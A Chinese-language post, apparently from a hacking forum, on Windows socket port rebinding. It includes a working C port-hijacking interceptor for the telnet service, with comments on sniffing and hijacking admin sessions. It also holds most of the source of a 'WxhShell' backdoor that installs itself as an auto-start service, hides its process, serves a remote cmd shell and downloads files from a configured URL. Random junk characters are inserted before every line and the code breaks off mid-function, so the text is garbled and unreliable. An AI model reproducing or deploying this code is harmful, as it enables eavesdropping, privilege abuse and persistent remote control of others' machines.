在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,[rPe\w.z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
k3Cz9Vt% @R6 ttx saddr.sin_family = AF_INET;
YV'pVO'_+ vp)Vb^K> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Gwec4D ii|?; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,XKCz ]8V ~f>2U]F>5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c/3$AUsuO n.6T
OF 这意味着什么?意味着可以进行如下的攻击:
47By`Jh71 [:;# ]? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a$11PBi[9 j6:7AH|!)2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K >tf, zd%rs~*c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P.\nLE J= e79KbLV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^z;JVrW Jl<ns,Zg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
S7iDTG_@t <E,%@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&p(0K4: VRng=, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U^lW@u?: r4}*l7Q #include
uBnoQ~Qd[z #include
.i"W8~<e #include
q1VH5'p@ #include
pf" <!O[ DWORD WINAPI ClientThread(LPVOID lpParam);
`8_z!) int main()
vXj < {
L{{CAB! WORD wVersionRequested;
A#h /B+ DWORD ret;
n]Li->1 WSADATA wsaData;
I~*
? d BOOL val;
*Ust[u SOCKADDR_IN saddr;
T?
,P*l SOCKADDR_IN scaddr;
/s:fW+C int err;
_D7 ]-3uC! SOCKET s;
`YBkF SOCKET sc;
|J5 =J int caddsize;
E ]9\R HANDLE mt;
a`Qot DWORD tid;
0IkM wVersionRequested = MAKEWORD( 2, 2 );
p,g1eb|E err = WSAStartup( wVersionRequested, &wsaData );
;lX(}2tXW if ( err != 0 ) {
E.bi05l printf("error!WSAStartup failed!\n");
sW#JjtK return -1;
PCrU<J 7 }
}G <T :(a saddr.sin_family = AF_INET;
58xnB!h\} %(/!ljh_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VZn=rw 7%?jL9Vw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
QnouBrhO saddr.sin_port = htons(23);
yF._*9Q3hK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FyoEQ%.bI {
tvKAIwe printf("error!socket failed!\n");
T GB_~Bqe return -1;
BG&cQr }
"t=hzn"~% val = TRUE;
Joe_PS //SO_REUSEADDR选项就是可以实现端口重绑定的
:G w~7v_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>ydRSr^ {
hg@}@Wq\) printf("error!setsockopt failed!\n");
5+Mdh` return -1;
Ty(@+M~- }
V&]DzjT/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YV4#%I!< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
smY$-v)@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F1%vtk;2? [k$*4u> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Pl=] Srw {
j9+I0>#X ret=GetLastError();
qGmNz}4D5 printf("error!bind failed!\n");
X .F^$ return -1;
%#L]]-% }
lS^(&<{ listen(s,2);
=,!\~`^ while(1)
"<+ih0Ma {
T=a=B( caddsize = sizeof(scaddr);
f;SC{2 f //接受连接请求
;^Sr"v6r>u sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_M[,!{ C if(sc!=INVALID_SOCKET)
{Hmo1|_S| {
dx*qb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5v)(8|.M if(mt==NULL)
e(F42;$$ {
4F3x@H' printf("Thread Creat Failed!\n");
'uDjFQX break;
l&YKD,H}; }
_lKZmhi }
$2DuB CloseHandle(mt);
R
#]jSiS }
S\6[EQ65 closesocket(s);
,bE$| x' WSACleanup();
y;?ie]3G return 0;
7r+g8+4 }
\,Lo>G`! DWORD WINAPI ClientThread(LPVOID lpParam)
e}VBRvr {
F
09DV<j SOCKET ss = (SOCKET)lpParam;
CRve.e8J SOCKET sc;
[
=x s4= unsigned char buf[4096];
/"H`.LD.? SOCKADDR_IN saddr;
\AUI|M;' long num;
%n%xR%| DWORD val;
wv
QMnE8\ DWORD ret;
y %$O-q //如果是隐藏端口应用的话,可以在此处加一些判断
Cd79 tu| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;Yfv!\^ | saddr.sin_family = AF_INET;
:4)Qt saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qjAWeS/ saddr.sin_port = htons(23);
/N>e&e[35\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1T_QX9 {
/WV7gO&L1 printf("error!socket failed!\n");
>R{qESmP= return -1;
"1q>At }
CxhY$%C (L val = 100;
+bK.NcS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G!8Z~CPF {
H+}"q$ ret = GetLastError();
-5>-%13 return -1;
R8L_J6Kpa }
uJR%0 E7! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U`Jy!x2m {
.O*bILU ret = GetLastError();
Ko&hj XHx return -1;
!}\4utHY }
3bqC\i^[\m if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
m+{K^kr[ {
WD;Y~| printf("error!socket connect failed!\n");
z|7zj/+g closesocket(sc);
< _$%@4 L closesocket(ss);
bk<\ujH return -1;
Sx:Ur>?hd5 }
t#nn@Yf while(1)
LNl#h {
r!P}u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2>-S-;i //如果是嗅探内容的话,可以再此处进行内容分析和记录
p2J|Hl| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UY2X num = recv(ss,buf,4096,0);
$wYtyN[ if(num>0)
N$Y " c* send(sc,buf,num,0);
P+t#4J else if(num==0)
-S,ln break;
[>#*B9 num = recv(sc,buf,4096,0);
<X TU8G if(num>0)
N4;7gSc" send(ss,buf,num,0);
0w'j+ else if(num==0)
cH<q:OYi break;
Ov-b:lH }
j7FN\
cz closesocket(ss);
E$a ?LFa6 closesocket(sc);
B,z<%DAE return 0 ;
~`>e5OgOJ }
Obw?_@X d_S*#/k o ]Jv;Iy@? ==========================================================
IfO;S*Qt 4GG>!@| 下边附上一个代码,,WXhSHELL
C^t(^9 !$A 37j6 ==========================================================
PCd0 ?c @
P@c.*}s #include "stdafx.h"
%puLr'Y #tt?!\8C #include <stdio.h>
#X:
'aj98 #include <string.h>
D3Jr3
%> #include <windows.h>
53HU. #include <winsock2.h>
x?x`oirh #include <winsvc.h>
M >:]lpRK #include <urlmon.h>
x\?;=@AW $(s\{(Wn #pragma comment (lib, "Ws2_32.lib")
J" j.'. #pragma comment (lib, "urlmon.lib")
WqxUX H 8$|8`;I( #define MAX_USER 100 // 最大客户端连接数
:"6q,W #define BUF_SOCK 200 // sock buffer
I O%6 O #define KEY_BUFF 255 // 输入 buffer
=k}SD96 @=w<B4L #define REBOOT 0 // 重启
G{aT2c #define SHUTDOWN 1 // 关机
TUL_TR |CgnCUv+ #define DEF_PORT 5000 // 监听端口
]U[X1W+@ T0Yiayt #define REG_LEN 16 // 注册表键长度
jk\ dG16 #define SVC_LEN 80 // NT服务名长度
y#Ht{)C \&V0vN1 // 从dll定义API
c~A4gtB= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~5ZvOX6L2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zJa)* N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jO9ip typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_FbC{yI8; d-bqL:/ // wxhshell配置信息
oq-<ob struct WSCFG {
d;tkJ2@NO int ws_port; // 监听端口
Dz!fpE'L char ws_passstr[REG_LEN]; // 口令
E< 4l#Z< int ws_autoins; // 安装标记, 1=yes 0=no
;;5Uwd'- char ws_regname[REG_LEN]; // 注册表键名
1ju#9i`.Wg char ws_svcname[REG_LEN]; // 服务名
w)E@*h<Z char ws_svcdisp[SVC_LEN]; // 服务显示名
Fhq9D{TeY, char ws_svcdesc[SVC_LEN]; // 服务描述信息
He0=-AR8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C8@TZ[w int ws_downexe; // 下载执行标记, 1=yes 0=no
pDPxl?S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z!=P@b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_|<d5TI J
)BI:]m };
Y9SGRV( (VyNvB // default Wxhshell configuration
v8>v.}y struct WSCFG wscfg={DEF_PORT,
U5Erm6U: "xuhuanlingzhe",
Ot&:mT!2 1,
fBBa4"OK= "Wxhshell",
8$xPex~2 "Wxhshell",
l>lW]W "WxhShell Service",
]!1OH
|Ad "Wrsky Windows CmdShell Service",
y<W8Q<9 "Please Input Your Password: ",
Mr+@c) 1,
@#+jMV$g "
http://www.wrsky.com/wxhshell.exe",
\^+ILYO:$ "Wxhshell.exe"
y$Zj?Dd# };
c- $Gpa}M CR4rDh8z a // 消息定义模块
?tf&pgo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
78n}rT%k1 char *msg_ws_prompt="\n\r? for help\n\r#>";
3HG;!D~m; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y-?>*fNo char *msg_ws_ext="\n\rExit.";
2J;`m_oP char *msg_ws_end="\n\rQuit.";
Kj=gm . char *msg_ws_boot="\n\rReboot...";
WV;=@v char *msg_ws_poff="\n\rShutdown...";
fbrp#G71y char *msg_ws_down="\n\rSave to ";
1Wg-x0R @mw "W{ char *msg_ws_err="\n\rErr!";
t$&Qv) char *msg_ws_ok="\n\rOK!";
<dA8
'7^ Q>}2cDl char ExeFile[MAX_PATH];
~+D*:7Y_ int nUser = 0;
?9j{V7h HANDLE handles[MAX_USER];
iY[+Ywh int OsIsNt;
:2V^K&2L -P=g3Q i SERVICE_STATUS serviceStatus;
p?(L'q"WK SERVICE_STATUS_HANDLE hServiceStatusHandle;
{B$2"q/~ :@
uIxa$[ // 函数声明
n_[i0x7# int Install(void);
.W\ve>; int Uninstall(void);
,cTgR78' int DownloadFile(char *sURL, SOCKET wsh);
4YG/`P int Boot(int flag);
KHiFJ_3 void HideProc(void);
F
SMj int GetOsVer(void);
ZU'!iU|8 int Wxhshell(SOCKET wsl);
YZ#V#[j'^ void TalkWithClient(void *cs);
S^RUw int CmdShell(SOCKET sock);
n/e
BE q int StartFromService(void);
yFIy`9R int StartWxhshell(LPSTR lpCmdLine);
-xmf'c9P ={(j`VSUX0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-Q
e~)7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
$FM'
3%B[ AG"l1wz // 数据结构和表定义
jjOgG-Q SERVICE_TABLE_ENTRY DispatchTable[] =
jdRq6U^ {
aA*9, {wscfg.ws_svcname, NTServiceMain},
dFW=9ru+MQ {NULL, NULL}
>}+Q:iNQ)2 };
a^nAZ hAR?
t5c // 自我安装
Os),;W0w4 int Install(void)
#5CI)4x0! {
U)jUq_LX char svExeFile[MAX_PATH];
oT+(W,G HKEY key;
^t.W|teD strcpy(svExeFile,ExeFile);
_"f :` J}g~uW // 如果是win9x系统,修改注册表设为自启动
"Tbnxx]J if(!OsIsNt) {
/F[+13C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r((Tavn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y)HbxFF`/ RegCloseKey(key);
`"y`AY/N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)na&"bJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?qHF}k| RegCloseKey(key);
V2znU return 0;
_g|acBF }
a%,fXp> }
q=c/B(II! }
/lD?VE else {
[$\>~nj= :iCM=k // 如果是NT以上系统,安装为系统服务
)q^ Bj$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f@z*3I; if (schSCManager!=0)
-zfoRU v {
L@)&vn] SC_HANDLE schService = CreateService
CMVS W6 (
r2eQ{u{nX schSCManager,
Y(i?M~3\t wscfg.ws_svcname,
hw,^G5m wscfg.ws_svcdisp,
n.$(}A SERVICE_ALL_ACCESS,
YB!!/ SX4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H~9=&p[Q SERVICE_AUTO_START,
Z!\@%`0$ SERVICE_ERROR_NORMAL,
xfHyC'? svExeFile,
!Tfij(91 NULL,
F>Jg~ FD* NULL,
iBbbr, NULL,
!oMt_k X NULL,
uEd,rEB> NULL
MV936 );
}B)jq`a?|\ if (schService!=0)
s44iEh=V(I {
{yq8<? CloseServiceHandle(schService);
|-kEGLH[*V CloseServiceHandle(schSCManager);
?SX_gYe9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%g^"] strcat(svExeFile,wscfg.ws_svcname);
FBYODw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*8\(FVyG^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rz6jx RegCloseKey(key);
D VwCx^ return 0;
}iNY_I c }
\iZ1W }
FMS2.E CloseServiceHandle(schSCManager);
njMLyT($ }
Q4%IxR? }
4
X`^{~ /yYlu return 1;
xH$%5@~ }
T-P@u-DU T
T"3^@ // 自我卸载
#v8Cy|I int Uninstall(void)
< l[`"0 {
[ X|OrRA HKEY key;
1g i}H) $FCw$ +w if(!OsIsNt) {
k+\7B}7F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NgxO&Zp RegDeleteValue(key,wscfg.ws_regname);
RndOm.TE RegCloseKey(key);
qJMp1DC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
` u=<c RegDeleteValue(key,wscfg.ws_regname);
g{a d0.y, RegCloseKey(key);
a;p6?kv return 0;
% +8 }
=eYO;l
y3 }
l$`G:%qHj }
:yD@5) else {
`Kp}s< Qa?QbHc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4~WlP,,M if (schSCManager!=0)
zjWyGt(Q {
w:R]!e_6\9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
X,53c$ if (schService!=0)
s}!"a8hU` {
*2:Yf7rvI+ if(DeleteService(schService)!=0) {
* D3 CloseServiceHandle(schService);
w{ m#Yt CloseServiceHandle(schSCManager);
4H9xO[iM return 0;
JWSq"N }
:wCC^Y] CloseServiceHandle(schService);
_6I >+9#C }
SD I,M CloseServiceHandle(schSCManager);
CU !.!cZ{ }
~$ WQ"~z }
m2MPWy5s <^'{ G return 1;
B#4S/d{/ }
%>NRna ZArf;&8 // 从指定url下载文件
Faw. GU int DownloadFile(char *sURL, SOCKET wsh)
OAyE/Q| {
{8i}Ow HRESULT hr;
~l4Q~' char seps[]= "/";
a!{hC)d* char *token;
zN/Gy} char *file;
Xa6qvg7/ char myURL[MAX_PATH];
2X +7bM char myFILE[MAX_PATH];
$pJ3xp& {Bv`i8e strcpy(myURL,sURL);
kjfxjAS=m token=strtok(myURL,seps);
3~8AcX@ while(token!=NULL)
{kv4g\a; {
3g+\?L-c file=token;
s-o~@(r6 token=strtok(NULL,seps);
)%1&/uN) }
GYTbeY .y(@Y6hO GetCurrentDirectory(MAX_PATH,myFILE);
D`5:
JR-{ strcat(myFILE, "\\");
_4De!q0( strcat(myFILE, file);
PK9Qm'W b send(wsh,myFILE,strlen(myFILE),0);
7{8)ykBU^ send(wsh,"...",3,0);
uFa-QG^Y{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
y& Gw.N}<r if(hr==S_OK)
U@MOvW) return 0;
fG^7@Jw:G else
J\9jsx!WQ return 1;
eq7C]i
rH I\)N\move }
g!z8oPT HXz iDnj // 系统电源模块
r{c5dQ
int Boot(int flag)
il<gjlyR]L {
)E_!rR HANDLE hToken;
_p?I{1O TOKEN_PRIVILEGES tkp;
3<yCe%I: ggzAU6J if(OsIsNt) {
P'KY.TjWb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vsxvHot= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
E%KC'TN^D tkp.PrivilegeCount = 1;
jAsh
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yRSy(/L^+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
sT@u3^> if(flag==REBOOT) {
i]V
F'tG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=2Pz$q*ub return 0;
MX%|hIOpr }
}"!6Xm else {
8yNRxiW: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
B>c[Zg1 return 0;
](idf(j }
99=[>Ck)G }
\Or]5ogT' else {
6uv'r;U] if(flag==REBOOT) {
X:iG[iU* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%l0_PhAB return 0;
Z%(Df3~gmm }
!^rITiy else {
:cIu?7A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,=x.aX
Spz return 0;
89?3,k }
hA$c.jJr.Z }
j58Dki->. 0$Qn#K return 1;
{3_F fsg` }
j@!BOL~? c9>8IW // win9x进程隐藏模块
E0WrpGZ void HideProc(void)
u k>q\j {
KR+ aY. 4C2>0O<^s HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@Wlwt+;fT if ( hKernel != NULL )
i:NJ>b {
1`7]C+Pv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5G
dY7t_1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t\E-6u FreeLibrary(hKernel);
}-k_?2"A }
NG4eEnic!a Vb"T],N1m return;
U[H+87zg }
"m<eHz]D `:B // 获取操作系统版本
kfG 65aa>_ int GetOsVer(void)
N23+1 h {
B[2h OSVERSIONINFO winfo;
I=3B
5u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
".Q!8j"@f GetVersionEx(&winfo);
'IqK M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.j]OO/, return 1;
D{3 x}5 else
Z n"TG/: return 0;
vi()1LS/! }
$TH'"XK s|rZ>SLL // 客户端句柄模块
SFXfo1dqH int Wxhshell(SOCKET wsl)
W6!4Qyn {
HnYFE@Nl:U SOCKET wsh;
#E~WVTOw struct sockaddr_in client;
yScov)dp( DWORD myID;
.,BD D PFB $
M[}(m while(nUser<MAX_USER)
A(!ZZ9Wc {
nP3;<*T P0 int nSize=sizeof(client);
/d]V{I~6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0ga1Yr] if(wsh==INVALID_SOCKET) return 1;
DFZ:.6p S
&lTKYP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%I2xK.8= if(handles[nUser]==0)
2 |kH% closesocket(wsh);
DRFuvU+e else
JCU3\39} nUser++;
"gl:4|i' }
GwIfGixqH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
JWm^RQ @{$Cv"6769 return 0;
:6Pc m3 }
yADN_ 6XxG1]84 // 关闭 socket
Ubos#hP void CloseIt(SOCKET wsh)
0qV*d {
lXL7q?,9 closesocket(wsh);
"8iyMP%8 nUser--;
|?t8M9[Z ExitThread(0);
{dr&46$p }
zL!~,B8C (gJ
)]/n // 客户端请求句柄
p9] 7g% void TalkWithClient(void *cs)
2ZzD^:V[} {
+h vIJv ? "!_
4%z- SOCKET wsh=(SOCKET)cs;
94k)a8-! char pwd[SVC_LEN];
K1wN9D{t' char cmd[KEY_BUFF];
;
K
6Fe) char chr[1];
?GD?J(S int i,j;
]38<ly7 CTrs\G while (nUser < MAX_USER) {
E{]|jPdr p31rhe if(wscfg.ws_passstr) {
V]PhXVJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rj f=qh5s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pNf9 //ZeroMemory(pwd,KEY_BUFF);
)D-.7m.v] i=0;
~FCSq:_ while(i<SVC_LEN) {
o_Kc nVQ\ sq(063l // 设置超时
{ )GEgC fd_set FdRead;
z hm!sMlO struct timeval TimeOut;
/B?SaKh FD_ZERO(&FdRead);
byj mH FD_SET(wsh,&FdRead);
!m:PBl5
TimeOut.tv_sec=8;
![D,8]GD TimeOut.tv_usec=0;
[W|7r
n,q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0N[DV] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[
*a>{sO[ OVo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Fh4w0u*Q pwd
=chr[0]; y<x_v )k-
if(chr[0]==0xd || chr[0]==0xa) { JO6vzoS3
pwd=0; <7-,`
break; =
Vr[V@
} TKBK3N
i++; 2yO)}g FJ
} HNUR6H&Fta
w7?9e#>Z
// 如果是非法用户,关闭 socket ]4Yb$e`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?$&rC0t
} <l
s/3!
#V,~d&_k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w,#W&>+&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sU_4+Mk
#2'&=?J1r
while(1) { )n[Mh!mn
wQS w&G
ZeroMemory(cmd,KEY_BUFF); $
5-2cL
@`*YZq>p
// 自动支持客户端 telnet标准 L , Fso./y
j=0; 2u H\8A+'f
while(j<KEY_BUFF) { [_G0kiI}W"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VP[!ji9P
cmd[j]=chr[0]; 5$Q`P',*Ua
if(chr[0]==0xa || chr[0]==0xd) { kQ'xs%Fw
cmd[j]=0; ? /X6x1PN
break; MC)W?
} J0mCWtx&
j++; 'xI+kyu
} [a*>@IR
qa`(,iN
// 下载文件 @!NHeH=pR
if(strstr(cmd,"http://")) { Z4zMa&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $=SYssg7La
if(DownloadFile(cmd,wsh)) 8/$iCW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rL/7wa
else \~j(ui|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]_xGVwem
} 0]0M>vx
u
else { `ViNSr):J
G'C^C[_W
switch(cmd[0]) { SLA~F?t
N!&VBx^z
// 帮助 :@A;!'zpL
case '?': { "A`'~]/hE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TmAb!
Y|F
break; .[85<"C
} ^S2}0Nf
// 安装 ?|YQtY
case 'i': { nW*Oo|p~=
if(Install()) JY8pV+q @=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .JKaC>oX
else +N&(lj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :!FwF65
break; <q=B(J'
} r(CL=[
// 卸载 z{WqICnb
case 'r': { ToM*tXj
if(Uninstall()) yvwcXNXR@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[6"XJ
else {moNtzE;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '2{o_<m
break; !Shh$iz
} ?+L6o C.;
// 显示 wxhshell 所在路径 o-Arfc3Q
case 'p': { .;6bMP[YA
char svExeFile[MAX_PATH]; eA^|B zU
strcpy(svExeFile,"\n\r"); 9DKB+K.1
strcat(svExeFile,ExeFile); >;?97'M
send(wsh,svExeFile,strlen(svExeFile),0); <2A'
break; 7^X_tQf
} W4a20KM2
// 重启 9oz)E>K4f
case 'b': { sg\jC#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nK=V`
if(Boot(REBOOT)) r{&"]'/X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1D]wW%us
else { .?:~s8kB
closesocket(wsh); >@iV!!
ExitThread(0); j
pV
} ,r4af<
break; aQ\O ]gCE
} }$U6lh/Ep
// 关机 ]h@:Y]
case 'd': { OSU=O
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
Q)&Ztw<
if(Boot(SHUTDOWN)) mj~CCokF{?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Yj&7k1
else { <0}'#9>O
closesocket(wsh); z0Hh8*
ExitThread(0); 0l*/_;wo
} MLX.MUS
break; +M:Q!'
} +__Rk1CVh
// 获取shell [*v\X %+
case 's': { )cXc"aj@s
CmdShell(wsh); b
L~<~gA
closesocket(wsh); HR
ExitThread(0); ZS]e}]Zwp
break; 0g\&3EvD
} Fsh-a7Qp
// 退出 plAt
+*&
case 'x': { &5<lQ1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #$E
vybETx
CloseIt(wsh); ,5:86'p
break; +0DIN4Y(4
} ~JiA
// 离开 Fy^\U w
case 'q': { uv!/DX#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I%`2RXBt3^
closesocket(wsh); tB.9Ov*
WSACleanup(); duCm+4,.
exit(1); DGnswN%n1
break; rO GJ%|%(
} q[lqEc
} }2S \-
} /^"TMm
D~} 4N1
// 提示信息 CgWj9 [
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FKP^f\!M
} {U9jA_XX
} PhQD}|S
FW4 hqgE@
return; 03PVbDq-
} c=gUY~Rl
Zl)|x%z
// shell模块句柄 iu .{L(m
int CmdShell(SOCKET sock) "?!IPX2\S
{ ?l/rg6mbI'
STARTUPINFO si; @tA.^k0`
ZeroMemory(&si,sizeof(si)); HFazqQ[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ntT|G0E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !Zrvko
PROCESS_INFORMATION ProcessInfo; q%"nk
char cmdline[]="cmd"; m`|Z1CT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /D q]=P
return 0; DuWP)#kg
} _:z~P<%s
yQ}~ aA#h
// 自身启动模式 |Yx8Ez
int StartFromService(void) <i5^izg
{ [|YMnV<B
typedef struct R8E<;^?j
{ x[X.// :
DWORD ExitStatus; }fA3{Ro
DWORD PebBaseAddress; 86Rit!ih
DWORD AffinityMask; p4[W@JV
DWORD BasePriority; ~?p
> L
ULONG UniqueProcessId; ms$o,[
ULONG InheritedFromUniqueProcessId; [Xrq+O,
